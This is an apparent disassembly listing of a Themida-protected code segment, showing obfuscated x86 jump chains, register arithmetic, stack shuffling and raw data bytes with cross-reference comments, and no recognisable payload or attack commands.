--------------------------------------------------------------------------- loc_59B470: ; CODE XREF: Themida_:005A255Bj not ecx push edi jmp loc_59FC11 ; --------------------------------------------------------------------------- loc_59B478: ; CODE XREF: Themida_:005A0024j push ecx mov ecx, 0D1162D5h dec ecx dec ecx add ecx, 3BF934D2h shl ecx, 6 sub ecx, 42A5E93Ch add ebx, ecx pop ecx sub ebx, 4 xchg ebx, [esp] jmp loc_5AEFC2 ; --------------------------------------------------------------------------- loc_59B4A0: ; CODE XREF: Themida_:loc_5A471Bj jmp loc_599466 ; --------------------------------------------------------------------------- loc_59B4A5: ; CODE XREF: Themida_:005A2F45j sub esp, 4 mov [esp], esi push esp push dword ptr [esp] pop esi push 6BE9h jmp loc_59C850 ; --------------------------------------------------------------------------- loc_59B4BA: ; CODE XREF: Themida_:0059D468j pop ecx sub eax, 77DF121Fh add eax, ebx add eax, 77DF121Fh pop ebx push 67E7h mov [esp], ebx mov ebx, 787F2F84h push ecx mov ecx, 0B0B2966h shl ecx, 3 push 1DC1h jmp loc_5AE25C ; --------------------------------------------------------------------------- aZSz db '<$ιZΎ',0 align 10h loc_59B4F0: ; CODE XREF: Themida_:005A93D6j push dword ptr [esp] pop esi add esp, 4 push 1543h jmp loc_59DD80 ; --------------------------------------------------------------------------- loc_59B501: ; CODE XREF: Themida_:005A6408j pop ebx sub [edi+24h], ecx mov ecx, [esp] push edx mov edx, esp sub esp, 4 mov [esp], ebx mov ebx, 4 add edx, ebx jmp loc_5A2D4D ; --------------------------------------------------------------------------- loc_59B51D: ; CODE XREF: Themida_:005ABB38j push ebx mov ebx, 5A8353BCh dec ebx add ebx, 3083608Bh shr ebx, 5 add ebx, 3972199Ch or ecx, ebx jmp loc_5A98D2 ; --------------------------------------------------------------------------- loc_59B53A: ; CODE XREF: Themida_:0059EFE3j ; Themida_:005A367Fj mov eax, esp add eax, 4 jmp loc_5A4237 ; --------------------------------------------------------------------------- loc_59B546: ; CODE XREF: Themida_:005A245Bj pop ecx add ecx, edx pop edx jmp loc_5A91B3 ; --------------------------------------------------------------------------- loc_59B54F: ; CODE XREF: Themida_:005AAE1Fj push esi mov esi, 4 add dword ptr [esp+4], 0DED5C93h sub dword ptr [esp+4], 75E55E73h add [esp+4], esi add dword ptr [esp+4], 75E55E73h sub dword ptr [esp+4], 0DED5C93h pop esi pop ebx push eax mov eax, 144D4587h and eax, 7B812548h or eax, 55C061F5h inc eax sub eax, 55C165F2h add ebx, eax pop eax push ecx mov ecx, 2 add ebx, ecx push dword ptr [esp] pop ecx push edx mov edx, esp jmp loc_5AE4B2 ; --------------------------------------------------------------------------- dd 25C2EE81h, 0EE0169FCh, 25C2C681h, 0E95D69FCh, 8A1h ; --------------------------------------------------------------------------- loc_59B5BC: ; CODE XREF: Themida_:005A72B6j shl ecx, 3 jmp loc_5A6A18 ; --------------------------------------------------------------------------- dd 1504D000h, 0DE9EE9h db 0 ; --------------------------------------------------------------------------- loc_59B5CD: ; CODE XREF: Themida_:005AC31Aj sub eax, ebx pop ebx sub ecx, 9470C21h add ecx, eax jmp loc_5A0BC5 ; --------------------------------------------------------------------------- loc_59B5DD: ; CODE XREF: Themida_:005AB96Cj jmp loc_59ABC4 ; --------------------------------------------------------------------------- loc_59B5E2: ; CODE XREF: Themida_:0059937Ej push ebp mov ebp, 3DC45B0Dh jmp loc_59D921 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 4C481h, 0E7C10000h, 81D7F704h, 1C7h, 915E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59B606: ; CODE XREF: Themida_:005AE45Bj push dword ptr [esp] pop ebx sub esp, 4 mov [esp], edx jmp loc_5A1C57 ; --------------------------------------------------------------------------- loc_59B615: ; CODE XREF: Themida_:0059E856j shr ebx, 8 or ebx, 6A7828A1h jb loc_5A9B55 xor ebx, 4B3342CFh add ebx, edx pop edx add ebx, 78E12E85h jnb loc_5A809C add ebx, 4E48687Eh jp loc_5A58CF loc_59B645: ; CODE XREF: Themida_:005A32F0j mov [esp], ecx jmp loc_5A8679 ; --------------------------------------------------------------------------- loc_59B64D: ; CODE XREF: Themida_:0059A146j push 19E3h jmp loc_5A73F7 ; --------------------------------------------------------------------------- db 0E9h dd 0E20h ; --------------------------------------------------------------------------- loc_59B65C: ; CODE XREF: Themida_:005AA5F6j and eax, 10391EF8h jmp loc_5AC31F ; --------------------------------------------------------------------------- loc_59B666: ; CODE XREF: Themida_:005A0964j ; Themida_:005A9631j xor ecx, 0F48B0711h add ebx, ecx pop ecx add ebx, 4 xchg ebx, [esp] pop esp pop dword ptr [esp] pop esp push esi mov esi, 4 sub eax, 5EA87241h add eax, 30725391h add eax, esi sub eax, 30725391h add eax, 5EA87241h jmp loc_5A38E7 ; --------------------------------------------------------------------------- db 5Eh dd 4C481h, 48F0000h, 24248B24h, 4EF168h, 24048900h, 9BD6E9h db 0 ; --------------------------------------------------------------------------- loc_59B6B5: ; CODE XREF: Themida_:005A403Dj xor [esp], edx xor edx, [esp] pop esp mov [esp], edx mov edx, 2EEA032Fh jmp loc_5AE971 ; --------------------------------------------------------------------------- loc_59B6C9: ; CODE XREF: Themida_:0059CB07j mov edi, [esp] add esp, 4 push 525Bh mov [esp], ebx mov ebx, 7C8818A3h and ecx, ebx mov ebx, [esp] add esp, 4 push esi push 5A8h jmp loc_5990DA ; --------------------------------------------------------------------------- loc_59B6F5: ; CODE XREF: Themida_:loc_598E5Cj ; Themida_:0059A049j add edx, ebp sub edx, 7C6612CAh mov ebp, [esp] jmp loc_5A488B ; --------------------------------------------------------------------------- loc_59B705: ; CODE XREF: Themida_:005A172Cj shl eax, 2 jnp loc_5A6975 neg eax jmp loc_59D11B ; --------------------------------------------------------------------------- db 1, 0FBh, 55h ; --------------------------------------------------------------------------- loc_59B718: ; CODE XREF: Themida_:005990E5j add esp, 4 inc ebp jmp loc_59B826 ; --------------------------------------------------------------------------- loc_59B724: ; CODE XREF: Themida_:005A343Cj add di, 1 push 5C28h mov [esp], ecx mov cx, 3E03h xor cx, 0E7Eh shl cx, 3 and cx, 41B7h dec cx add cx, 1ABh add di, cx mov ecx, [esp] add esp, 4 jmp loc_5ADDA1 ; --------------------------------------------------------------------------- loc_59B757: ; CODE XREF: Themida_:00598FC8j add esp, 4 jmp loc_5A683D ; --------------------------------------------------------------------------- loc_59B762: ; CODE XREF: Themida_:005A8B59j add dword ptr [esp+4], 40FC14DFh mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov edx, 11DE6264h jmp loc_599170 ; --------------------------------------------------------------------------- loc_59B780: ; CODE XREF: Themida_:0059E647j add esi, ecx pop ecx add esi, 4 sub esp, 4 mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp push ebp sub esp, 4 mov [esp], esp push eax mov eax, 4 add [esp+4], eax pop eax mov ebp, [esp] add esp, 4 push esi mov esi, 2C376618h jmp loc_59F8E3 ; --------------------------------------------------------------------------- loc_59B7BB: ; CODE XREF: Themida_:0059F51Cj ; Themida_:005A57C0j push ecx pop edx pop ecx jmp loc_5AA9E5 ; --------------------------------------------------------------------------- db 80h dd 0ACE9D6C7h db 19h, 1, 0 ; --------------------------------------------------------------------------- loc_59B7CB: ; CODE XREF: Themida_:005AEF4Cj xor ebx, eax jmp loc_59900B ; --------------------------------------------------------------------------- loc_59B7D2: ; CODE XREF: Themida_:0059C606j mov [esp], edx push eax pushf jmp loc_59D44D ; --------------------------------------------------------------------------- loc_59B7DC: ; CODE XREF: Themida_:005A20F5j pop dword ptr [esp] jmp loc_5A37AC ; --------------------------------------------------------------------------- loc_59B7E4: ; CODE XREF: Themida_:005AEA50j mov ecx, [esp] push esi push esp jmp loc_5A650C ; --------------------------------------------------------------------------- dw 0D828h dd 852CC32Ch, 0E3E9092Ch db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_59B7FB: ; CODE XREF: Themida_:005A1935j ; Themida_:005A7D66j not ebp inc ebp add ebp, 76F2595Ch add ebp, 88B2005h add edx, ebp jmp loc_5ADC8A ; --------------------------------------------------------------------------- loc_59B811: ; CODE XREF: Themida_:005A41EBj neg esi jle loc_5A9355 add esi, 0DF8AB5EDh jmp loc_5A27A7 ; --------------------------------------------------------------------------- db 29h, 0FEh ; --------------------------------------------------------------------------- loc_59B826: ; CODE XREF: Themida_:0059B71Fj sub ebp, 601F84B5h mov esi, ebp pop ebp add ecx, esi jmp loc_5AE56A ; --------------------------------------------------------------------------- loc_59B836: ; CODE XREF: Themida_:0059D610j pop esp push small 1675h mov [esp], cx sub esp, 2 jmp loc_5A24EF ; --------------------------------------------------------------------------- db 66h dd 0E902E1C1h, 12D53h ; --------------------------------------------------------------------------- loc_59B850: ; CODE XREF: Themida_:005ADD0Cj push ebp mov ebp, 4 add edx, ebp pop ebp jmp loc_5A39DD ; --------------------------------------------------------------------------- loc_59B85E: ; CODE XREF: Themida_:005A2C05j xor eax, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 push eax push esp pop eax push ebx mov ebx, 4 jmp loc_5AB518 ; --------------------------------------------------------------------------- loc_59B877: ; CODE XREF: Themida_:0059ABE5j sub eax, 6E65035Eh add eax, ebp add eax, 6E65035Eh push dword ptr [esp] push dword ptr [esp] pop ebp jmp loc_59D11B ; --------------------------------------------------------------------------- loc_59B88F: ; CODE XREF: Themida_:005AF016j add ecx, 4 add ecx, 4 jmp loc_5ACC99 ; --------------------------------------------------------------------------- aRsN db ']Rι<N',0 dw 8100h dd 0D236EFEDh, 81FD011Eh, 0D236EFC5h, 2B09E91Eh, 55560000h dd 4F5EB0BDh, 0FFC5834Ah, 7D1E951h db 1, 0 ; --------------------------------------------------------------------------- loc_59B8CA: ; CODE XREF: Themida_:005A4EFEj push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp shr ecx, 0 or eax, eax jz loc_5A593A push ebp jmp loc_5A0D7F ; --------------------------------------------------------------------------- loc_59B8E4: ; CODE XREF: Themida_:005A4519j sub dh, 17h add dh, al add dh, 17h pop eax sub esp, 4 jmp loc_5A6392 ; --------------------------------------------------------------------------- loc_59B8F5: ; CODE XREF: Themida_:005AD92Dj jmp loc_5AB5C6 ; --------------------------------------------------------------------------- loc_59B8FA: ; CODE XREF: Themida_:0059C613j mov [esp], ecx push edi jmp loc_5AB614 ; --------------------------------------------------------------------------- loc_59B903: ; CODE XREF: Themida_:005AA8C5j push 4A62h mov [esp], eax mov eax, 1E662D07h shl eax, 1 jns loc_5A3F60 jmp loc_598510 ; --------------------------------------------------------------------------- db 53h, 0E9h, 9Bh dd 89FFFFE5h db 0D2h, 58h ; --------------------------------------------------------------------------- loc_59B926: ; CODE XREF: Themida_:0059B193j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] jmp loc_59F4E4 ; --------------------------------------------------------------------------- loc_59B93A: ; CODE XREF: Themida_:0059B2DBj pop ecx mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add esi, 2 xchg esi, [esp] pop esp jmp loc_59D615 ; --------------------------------------------------------------------------- loc_59B95D: ; CODE XREF: Themida_:005A2807j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5A3F53 ; --------------------------------------------------------------------------- loc_59B972: ; CODE XREF: Themida_:005A9CCBj shl eax, 2 sub eax, 8F1FFD7Ch add edx, eax pop eax xor edx, [esp] xor [esp], edx jmp loc_5A4223 ; --------------------------------------------------------------------------- loc_59B988: ; CODE XREF: Themida_:0059C77Ej xchg edi, [esp] pop esp sub esp, 4 mov [esp], eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] push 55B5h mov [esp], edi push esp jmp loc_5A54B9 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 mov [esp], edx mov edx, 0B487AA8h inc edx and edx, 5AAC3C52h jmp loc_5A4F98 ; --------------------------------------------------------------------------- loc_59B9CD: ; CODE XREF: Themida_:005ABFE0j mov [esp], ebx mov ebx, 56BA5D5Ch xor edx, ebx pop ebx jmp loc_59CC4E ; --------------------------------------------------------------------------- loc_59B9DD: ; CODE XREF: Themida_:005A0B43j pop esi mov ebx, [esp] jmp loc_59C60B ; --------------------------------------------------------------------------- dw 6BBEh dd 135EA01h, 0EC815EF0h, 4, 81241489h, 4ECh, 242C8900h dd 1F6BE9h, 44BB5300h, 0E979F81Fh, 0FD2h ; --------------------------------------------------------------------------- loc_59BA10: ; CODE XREF: Themida_:005A73A0j push dword ptr [esp] pop ebp sub esp, 4 mov [esp], ecx jmp loc_5AC106 ; --------------------------------------------------------------------------- db 58h dd 81E9FD01h db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59BA27: ; CODE XREF: Themida_:0059B397j push edx jmp loc_5A538C ; --------------------------------------------------------------------------- loc_59BA2D: ; CODE XREF: Themida_:005A9520j jmp loc_59BE6A ; --------------------------------------------------------------------------- loc_59BA32: ; CODE XREF: Themida_:0059EE34j add esi, 32D12A09h add esi, 70DF078Ch pop ecx push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_59E7EF ; --------------------------------------------------------------------------- dd 213FF181h, 0CE296CA9h, 2AC68159h, 686F4F4Fh, 11E1h dd 0BD242C89h, 1CF23BE8h, 2C8BEE01h, 2B9BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59BA76: ; CODE XREF: Themida_:loc_5AE370j sub bh, 3Ch push ecx mov ch, bh mov dl, ch pop ecx jmp loc_5A6595 ; --------------------------------------------------------------------------- dd 7A5320BAh, 5AD7890Ch, 8904EC83h, 3DBD242Ch, 0E97D4FD2h dd 0C805h ; --------------------------------------------------------------------------- loc_59BA9C: ; CODE XREF: Themida_:005AE96Cj pop ebx add ebx, 4 sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_5AB6B3 ; --------------------------------------------------------------------------- db 5Ah dd 4EC81h, 34890000h, 0C8BD5524h, 0E94ABB52h, 4EEEh, 8904EC83h dd 46E9243Ch db 84h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59BAD7: ; CODE XREF: Themida_:0059A6E9j ; Themida_:loc_5A3E4Cj ... mov esp, [esp] push 14A4h mov [esp], edi mov edi, esp push ebp push edx mov edx, 4 mov ebp, edx mov edx, [esp] push ebx mov ebx, esp push edi jmp loc_599776 ; --------------------------------------------------------------------------- db 2Dh, 5Bh, 0E6h dd 0C5898F87h, 0E9505358h, 0BCF0h ; --------------------------------------------------------------------------- loc_59BB08: ; CODE XREF: Themida_:0059DD48j push dword ptr [esp] jmp loc_59A437 ; --------------------------------------------------------------------------- aBNA4Sq db ',$N',7,'=A)4$ιq',0 db 0 ; --------------------------------------------------------------------------- loc_59BB1F: ; CODE XREF: Themida_:005AC112j push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] add ebp, 4 push eax mov eax, 4 add ebp, eax pop eax xchg ebp, [esp] pop esp jmp loc_5AABF3 ; --------------------------------------------------------------------------- loc_59BB42: ; CODE XREF: Themida_:005A7101j and edx, 213370EAh jnp loc_5AC327 xor edx, 50F478D0h jge loc_5A4E69 jmp loc_599954 ; --------------------------------------------------------------------------- db 56h dd 0DFF38052h db 52h ; --------------------------------------------------------------------------- loc_59BB65: ; CODE XREF: Themida_:005AEACBj pop ebp sub ebp, 600424D3h jmp loc_5AAD22 ; --------------------------------------------------------------------------- loc_59BB71: ; CODE XREF: Themida_:005A9D3Fj add esp, 4 or ebp, 5D9E50C8h jmp loc_59DFBB ; --------------------------------------------------------------------------- loc_59BB7F: ; CODE XREF: Themida_:loc_5AA2FDj shl edi, 5 jns loc_59F050 add edi, 78A76C24h push edi pop ebp pop edi sub edx, ebp pop ebp xor edx, [esp] jmp loc_5A5D48 ; --------------------------------------------------------------------------- loc_59BB9C: ; CODE XREF: Themida_:005A0C18j xchg ebx, [esp] jmp loc_59995F ; --------------------------------------------------------------------------- loc_59BBA4: ; CODE XREF: Themida_:005A152Fj xor al, 89h jnp loc_59876E push 5DB3h mov [esp], edx mov dh, 0CEh loc_59BBB6: ; CODE XREF: Themida_:0059A432j xchg ebp, esi jmp loc_59DA50 ; --------------------------------------------------------------------------- loc_59BBBD: ; CODE XREF: Themida_:0059A030j pop eax jmp loc_59A3CB ; --------------------------------------------------------------------------- db 89h dd 0E389241Ch, 0DCAE9h db 0 ; --------------------------------------------------------------------------- loc_59BBCD: ; CODE XREF: Themida_:005A778Fj jmp loc_59838C ; --------------------------------------------------------------------------- loc_59BBD2: ; CODE XREF: Themida_:00599C27j add ebx, 2 jmp loc_5AA8FF ; --------------------------------------------------------------------------- loc_59BBDD: ; CODE XREF: Themida_:005A3319j sub ebp, edx pop edx jmp loc_5A8BDF ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h db 5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ecx mov ecx, esp push ebp mov ebp, 46811CD3h xor ebp, 710E305Ah or ebp, 688C789Dh jmp loc_5A0FB8 ; --------------------------------------------------------------------------- db 0BDh dd 0C69BE685h, 895DEB29h, 814E5BDEh, 433E7EF6h, 8F05E963h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59BC2A: ; CODE XREF: Themida_:0059A8A7j pop esi jmp loc_5AAF88 ; --------------------------------------------------------------------------- loc_59BC30: ; CODE XREF: Themida_:00598B3Dj pop eax xor edx, [esp] jmp loc_5A5277 ; --------------------------------------------------------------------------- aYsB db 'Yι',9,'b',0 db 0 ; --------------------------------------------------------------------------- loc_59BC3F: ; CODE XREF: Themida_:005A1E43j mov [esp], dx push ax pushf jmp loc_5A3A73 ; --------------------------------------------------------------------------- loc_59BC4B: ; CODE XREF: Themida_:005AEDA4j sub eax, ebx pop ebx jmp loc_5A00BA ; --------------------------------------------------------------------------- loc_59BC53: ; CODE XREF: Themida_:0059EDCEj xor bl, 19h jmp loc_5A2B5A ; --------------------------------------------------------------------------- loc_59BC5B: ; CODE XREF: Themida_:005A568Dj sub ebx, ecx push eax mov eax, 2A7E6F90h jmp loc_5A14C1 ; --------------------------------------------------------------------------- loc_59BC68: ; CODE XREF: Themida_:0059C466j sub ecx, edx pop edx add ebx, ecx mov ecx, [esp] sub esp, 4 jmp loc_5AC816 ; --------------------------------------------------------------------------- loc_59BC78: ; CODE XREF: Themida_:005A8553j mov cx, [esp] jmp loc_5A66FD ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 241C895Ch, 4EC81h, 8F540000h, 4812404h, 424h, 2434FF00h dd 4C4815Bh, 0E9000000h, 12124h ; --------------------------------------------------------------------------- loc_59BCA8: ; CODE XREF: Themida_:005AA7F4j pop ebp add esi, 1 add esi, 0FC85533Dh or ebx, esi push dword ptr [esp] pop esi jmp loc_599A70 ; --------------------------------------------------------------------------- loc_59BCBD: ; CODE XREF: Themida_:005A99EAj push ebx sub esp, 4 mov [esp], edi mov edi, 10EE1A8Eh jmp loc_5A57D0 ; --------------------------------------------------------------------------- loc_59BCCE: ; CODE XREF: Themida_:005ADF14j add edx, 4 add edx, 4 xchg edx, [esp] pop esp pop eax jmp loc_5AAA9F ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 68000000h, 0F65h, 0FF243489h, 0FF042474h, 0A0E92434h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59BCFB: ; CODE XREF: Themida_:005ACFF8j mov [esp], ebx jmp loc_5A5E76 ; --------------------------------------------------------------------------- loc_59BD03: ; CODE XREF: Themida_:005AB2C2j pop edi pop dword ptr [esp] pop esp add ebp, 5D683B67h add ebp, esi sub ebp, 5D683B67h pop esi jmp loc_5ACE70 ; --------------------------------------------------------------------------- loc_59BD1C: ; CODE XREF: Themida_:005AA448j mov ebp, 40A11D27h add ebp, 4A444ECFh dec ebp add ebp, 29984DCEh sub esi, 1A85B64h jmp loc_5A6AAC ; --------------------------------------------------------------------------- db 29h, 0E9h, 81h dd 723ED9E9h, 34FF5D7Ah, 0C4835D24h, 2C18104h, 87000000h dd 248B240Ch, 0BB0F6624h, 0E99C2404h, 0FFFFC62Ch, 53090459h dd 8851FAB7h, 88FE88F1h, 68E959CFh db 0CCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59BD73: ; CODE XREF: Themida_:00598BF1j mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_5A7171 ; --------------------------------------------------------------------------- loc_59BD83: ; CODE XREF: Themida_:0059D3F0j shr edx, 1 cmp eax, edx jz loc_5A4BF8 push 1BF0h mov [esp], esi push 74B67E40h jmp loc_5AA195 ; --------------------------------------------------------------------------- db 0FFh dd 0E95A2434h, 0FFFFFC08h, 83242489h, 8F042404h, 38E92404h db 6, 1, 0 ; --------------------------------------------------------------------------- loc_59BDB7: ; CODE XREF: Themida_:005A2DA3j mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push edi mov edi, 41D81718h xchg edx, edi not edx xchg edx, edi inc edi add edi, 4A35448Ch sub edi, 1 not edi push 3155h mov [esp], ecx mov ecx, 0C02BE50Bh xor edi, ecx jmp loc_5A0D64 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 2E6C100h, 647EE9h, 0FFC28300h, 0A64AF281h, 0EE81BDF0h dd 390D4B80h, 0E957D601h, 6CEDh ; --------------------------------------------------------------------------- loc_59BE24: ; CODE XREF: Themida_:loc_5AD718j sub esp, 4 mov [esp], edi push edx jmp loc_5AC945 ; --------------------------------------------------------------------------- loc_59BE30: ; CODE XREF: Themida_:005AC9BFj shl eax, 3 jmp loc_5A6D1E ; --------------------------------------------------------------------------- loc_59BE38: ; CODE XREF: Themida_:0059EC2Dj mov ebp, esp push edi push esi mov esi, 6EBD30B8h mov edi, esi pop esi add edi, 25CB6153h jmp loc_5AC0C9 ; --------------------------------------------------------------------------- loc_59BE4F: ; CODE XREF: Themida_:loc_5A252Aj xor edx, 5DF51856h shr edx, 5 jmp loc_5A399C ; --------------------------------------------------------------------------- db 68h, 8Bh, 6Dh dd 1C890000h, 2525E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59BE6A: ; CODE XREF: Themida_:loc_59BA2Dj neg ecx add ecx, 0F4B82E1Bh push ecx pop eax jmp loc_5A2931 ; --------------------------------------------------------------------------- db 81h, 0C1h, 80h dd 2974A143h, 80E981F9h, 0E974A143h, 0CAFFh ; --------------------------------------------------------------------------- loc_59BE8C: ; CODE XREF: Themida_:005991E8j xor esi, 7BA57C72h jmp loc_5A6D0C ; --------------------------------------------------------------------------- db 0C1h dd 0E1E906E7h db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59BE9F: ; CODE XREF: Themida_:005A661Ej mov ch, al jmp loc_5A02FC ; --------------------------------------------------------------------------- loc_59BEA6: ; CODE XREF: Themida_:005A13D7j mov [esp], ecx sub esp, 4 mov [esp], edx push 1BC704C2h jmp loc_59D15C ; --------------------------------------------------------------------------- loc_59BEB9: ; CODE XREF: Themida_:005A8A8Bj and ebx, 40E45242h xor ebx, 22DB01FEh add edx, ebx jmp loc_5A3D56 ; --------------------------------------------------------------------------- dd 24B7D2Dh, 41BD553Ch, 177BA6Fh, 0F9C2E9E8h, 0CE2CFFFFh dd 10CC68h, 241C8900h, 0C381E389h, 4, 2EB81h, 1C870000h dd 89665C24h, 53662414h, 0C38052B3h, 0B0EB80D8h, 119E1E9h db 0 ; --------------------------------------------------------------------------- loc_59BF0D: ; CODE XREF: Themida_:005A88F7j add ebx, 70FFFAEDh mov eax, ebx pop ebx jmp loc_59E694 ; --------------------------------------------------------------------------- db 50h dd 0AD59F1B8h, 1BC72D47h, 36E9550Ah db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59BF2B: ; CODE XREF: Themida_:005A23A9j inc ebp push edx jmp loc_5AC1B1 ; --------------------------------------------------------------------------- loc_59BF32: ; CODE XREF: Themida_:00598D13j push eax jmp loc_5A3835 ; --------------------------------------------------------------------------- dd 4055854h, 51000000h, 252668h, 24148900h, 0EE0DE9h db 0 ; --------------------------------------------------------------------------- loc_59BF4D: ; CODE XREF: Themida_:005A7ADAj mov [esp], ebx push ebp mov ebp, 3A88432Eh not ebp xor ebp, 44B011B5h xor ebp, 0F83F8E86h jmp loc_5A439C ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 63F26824h, 92E90000h db 0FBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59BF77: ; CODE XREF: Themida_:005A43FCj pop edx mov bl, al mov eax, [esp] add esp, 4 jmp loc_5A726A ; --------------------------------------------------------------------------- dd 240C8B66h, 0FEA68h, 0DD4DE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59BF96: ; CODE XREF: Themida_:005AA56Fj sub esi, 506E9C70h xor edx, esi jmp loc_5ACC6F ; --------------------------------------------------------------------------- loc_59BFA3: ; CODE XREF: Themida_:005AE71Cj sub ebx, 30101C64h jmp loc_5ACCB9 ; --------------------------------------------------------------------------- loc_59BFAE: ; CODE XREF: Themida_:0059845Dj sub esp, 4 jmp loc_5A9AE3 ; --------------------------------------------------------------------------- loc_59BFB6: ; CODE XREF: Themida_:0059992Fj and ebx, 53D7629h xor ebx, 63F22948h ja loc_5A1EFF add ebx, 504C0EB8h mov bh, dh sub al, 1Bh loc_59BFD2: ; CODE XREF: Themida_:005A34ABj mov [esp], edx mov edx, esp jmp loc_5A8C3F ; --------------------------------------------------------------------------- loc_59BFDC: ; CODE XREF: Themida_:005A8207j pop ebx jmp loc_5AA0DC ; --------------------------------------------------------------------------- loc_59BFE2: ; CODE XREF: Themida_:005A9C13j and edx, 2EA45897h jb loc_5A6AE4 shr edx, 8 jp loc_5A0391 push ecx mov ecx, 66F601Ah inc ecx not ecx sub ecx, 0E8BA274Eh xor edx, ecx pop ecx dec edx push eax mov eax, 0FFFFFFFFh add edx, eax jmp loc_5A4C1C ; --------------------------------------------------------------------------- loc_59C017: ; CODE XREF: Themida_:005A1A7Dj add eax, 4 xchg eax, [esp] mov esp, [esp] sub esp, 4 mov [esp], eax mov eax, esp jmp loc_5A455E ; --------------------------------------------------------------------------- loc_59C02F: ; CODE XREF: Themida_:0059DF92j sub esp, 4 mov [esp], edi jmp loc_59D79D ; --------------------------------------------------------------------------- loc_59C03D: ; CODE XREF: Themida_:00598FF3j dec ebx jno loc_59DCA4 add ebx, 3CAFF774h mov esi, ebx pop ebx mov ch, 55h push esi loc_59C050: ; CODE XREF: Themida_:005AB07Ej add esp, 4 push edx mov edx, 79F823E2h sub eax, 96D02E4h add eax, edx add eax, 96D02E4h mov edx, [esp] add esp, 4 push 62EDh jmp loc_59E517 ; --------------------------------------------------------------------------- aSc_0 db ')ήι{',0 align 2 loc_59C082: ; CODE XREF: Themida_:005AE2B4j push eax push ecx mov ecx, 1D330A26h mov eax, 5CC35310h xor eax, ecx pop ecx jmp loc_5A3958 ; --------------------------------------------------------------------------- dw 65BBh dd 0C120BC05h, 0BA5202EBh, 65855815h, 12C2814Ah, 0F7279250h dd 0AEC281D2h, 1A2AEC5h, 50E95AD3h db 5, 1, 0 ; --------------------------------------------------------------------------- loc_59C0BB: ; CODE XREF: Themida_:0059A480j ; Themida_:005AD933j add ebp, 1C40B24h xor ebp, 0B931F36h xor ebp, 0B1CE7D06h mov edi, ebp pop ebp sub edi, 2021FDEAh mov edx, edi mov edi, [esp] add esp, 4 push edi jmp loc_598682 ; --------------------------------------------------------------------------- dd offset dword_4E8E9C+0D6CCh dd 77DEE900h, 1C890000h, 151E924h db 1, 0 ; --------------------------------------------------------------------------- loc_59C0F6: ; CODE XREF: Themida_:005A35F0j add ebx, 4B0436E3h mov edi, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_5A9BB5 ; --------------------------------------------------------------------------- loc_59C110: ; CODE XREF: Themida_:loc_5A4856j push esi push 1A63h mov [esp], eax jmp loc_5A760F ; --------------------------------------------------------------------------- loc_59C11E: ; CODE XREF: Themida_:0059A8FDj mov esi, [esp] jmp loc_5A62D2 ; --------------------------------------------------------------------------- loc_59C126: ; CODE XREF: Themida_:005986D1j mov [esp], edx mov edx, 168B97B0h jmp loc_5ADCCD ; --------------------------------------------------------------------------- loc_59C133: ; CODE XREF: Themida_:0059CAE3j jb loc_5A672E xor ebx, 187B5BD3h mov ebp, ebx pop ebx jmp loc_59AB70 ; --------------------------------------------------------------------------- db 0F7h dd 49BE56DDh, 812EC630h, 0EF3BCFCEh, 1FF6811Dh, 174034Fh dd 0B0E95EF5h db 82h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59C163: ; CODE XREF: Themida_:0059DC05j shl edi, 1 not edi push ebp mov ebp, 178CB79h add edi, ebp mov ebp, [esp] jmp loc_5A61E6 ; --------------------------------------------------------------------------- loc_59C177: ; CODE XREF: Themida_:005AD628j add eax, edx mov edx, [esp] jmp loc_5A9B83 ; --------------------------------------------------------------------------- loc_59C181: ; CODE XREF: Themida_:0059F6BBj not edi push ecx jmp loc_5993DA ; --------------------------------------------------------------------------- db 57h, 53h, 0BBh dd 528F3F39h, 0B95BDF89h, 0E1D06FCh, 0E95FF931h, 0FFFFE63Bh ; --------------------------------------------------------------------------- loc_59C1A0: ; CODE XREF: Themida_:loc_5A5921j jmp loc_59857E ; --------------------------------------------------------------------------- loc_59C1A5: ; CODE XREF: Themida_:00598F96j mov ecx, 18BD0135h shl ecx, 3 jmp loc_5A6245 ; --------------------------------------------------------------------------- dw 0E089h dd 1A4368h, 7419E900h, 835F0000h, 0F3E904E9h db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59C1C7: ; CODE XREF: Themida_:005A76F6j 